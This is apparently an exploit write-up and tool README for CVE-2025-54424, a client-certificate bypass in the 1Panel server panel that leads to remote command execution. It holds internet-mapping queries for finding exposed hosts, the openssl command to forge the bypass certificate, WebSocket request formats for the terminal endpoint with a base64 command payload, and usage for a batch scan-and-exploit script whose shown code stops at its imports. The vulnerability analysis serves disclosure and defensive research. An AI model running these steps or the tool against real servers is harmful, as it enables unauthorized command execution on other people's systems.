CVE-2025-54424

CVE-2025-54424: 1Panel Client Certificate Bypass RCE Vulnerability Integrated Tool (Scan + Exploit)

Vulnerability Overview

1Panel is an open-source, modern Linux operations and maintenance management panel that provides a graphical interface for deploying websites, managing servers, and running services.

In affected versions, the Agent side TLS authentication policy is set to tls.RequireAnyClientCert, which only requires a certificate to be presented without verifying its trustworthiness. Attackers can bypass TLS verification using a self-signed certificate and forge the CN field as panel_client to bypass application-layer validation. Ultimately, attackers can use forged certificates to make unauthorized command execution API calls, leading to remote command execution vulnerabilities.

Affected Versions

<= v2.0.5

Mapping Syntax

The Hunter and FOFA mapping queries are as follows

cert.subject_org=="FIT2CLOUD"&&ip.port="9999” || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

Vulnerability Analysis

Copy of GitHub security advisory section

• First, introduce the concepts of the 1Panel v2 Core and Agent sides. After the new version release, 1Panel added node management functionality, allowing control over other hosts by adding nodes.
• The HTTPS protocol used for communication between the Core and Agent sides did not fully verify certificate authenticity during certificate validation, resulting in unauthorized API access. Since 1Panel contains numerous command execution or high-privilege interfaces, this leads to RCE.

Code Audit Process

1. First, we navigate to the Agent HTTP routing file agent/init/router/router.go

2. We find that the Routers function references the Certificate function to perform global validation in agent/middleware/certificate.go

3. We observe that the Certificate function checks whether c.Request.TLS.HandshakeComplete indicates a certificate handshake was completed

4. The boolean evaluation of c.Request.TLS.HandshakeComplete is determined by tls.RequireAnyClientCert within the Start function in agent/server/server.go Note: Because tls.RequireAnyClientCert is used instead of tls.RequireAndVerifyClientCert, RequireAnyClientCert only requires the client to present a certificate without verifying the issuing CA. Therefore, any self-signed certificate can pass the TLS handshake.

5. Subsequent checks within the Certificate function only verify that the certificate CN field is panel_client, without validating the certificate issuer. Finally, it is discovered that WebSocket connections can bypass Proxy-ID verification.

6. The project contains a large number of WebSocket interfaces.

• Process WebSocket Interface (allows retrieval of sensitive information such as all processes based on the aforementioned issue) Route: /process/ws Request format as follows

{
  "type": "ps",           // Data type: ps(process), ssh(SSH session), net(network connection), wget(download progress)
  "pid": 123,             // Optional, specify process ID for filtering
  "name": "process_name", // Optional, filter by process name
  "username": "user"      // Optional, filter by username
}

• Terminal SSH WebSocket Interface (allows execution of arbitrary commands based on the aforementioned issue) Route: /hosts/terminal Request format as follows

{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // base64 encoding of "whoami", remember not to forget the newline character.
}

• Container Terminal WebSocket Interface (container command execution interface) Route: /containers/terminal
• File Download Process WebSocket Interface (automatically pushes download progress information) Route: /files/wget/process

Vulnerability Reproduction

Manual Reproduction

1. Generate Certificate

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

2. Load the generated panel_client.crt and panel_client.key into Burp Suite, open the WS request, set the target, and start the request.

Batch Detection

Use my developed tool CVE-2025-54424.py script for batch detection and exploitation. Tool usage instructions are as follows

Install required dependencies: pip install websocket-client cryptography PySocks requests

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     单个目标，进入利用模式。例如: 192.168.1.100:8080
  -f FILE, --file FILE  目标文件，进入批量扫描模式。
  -o OUTPUT, --output OUTPUT
                        [扫描模式] 保存漏洞结果的文件名。
  -t THREADS, --threads THREADS
                        [扫描模式] 并发线程数。
  --proxy PROXY         为所有请求设置代理。例如: http://127.0.0.1:8080

For example, single detection + command execution (SSH interactive command execution) is shown below:

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- 核心功能函数 ---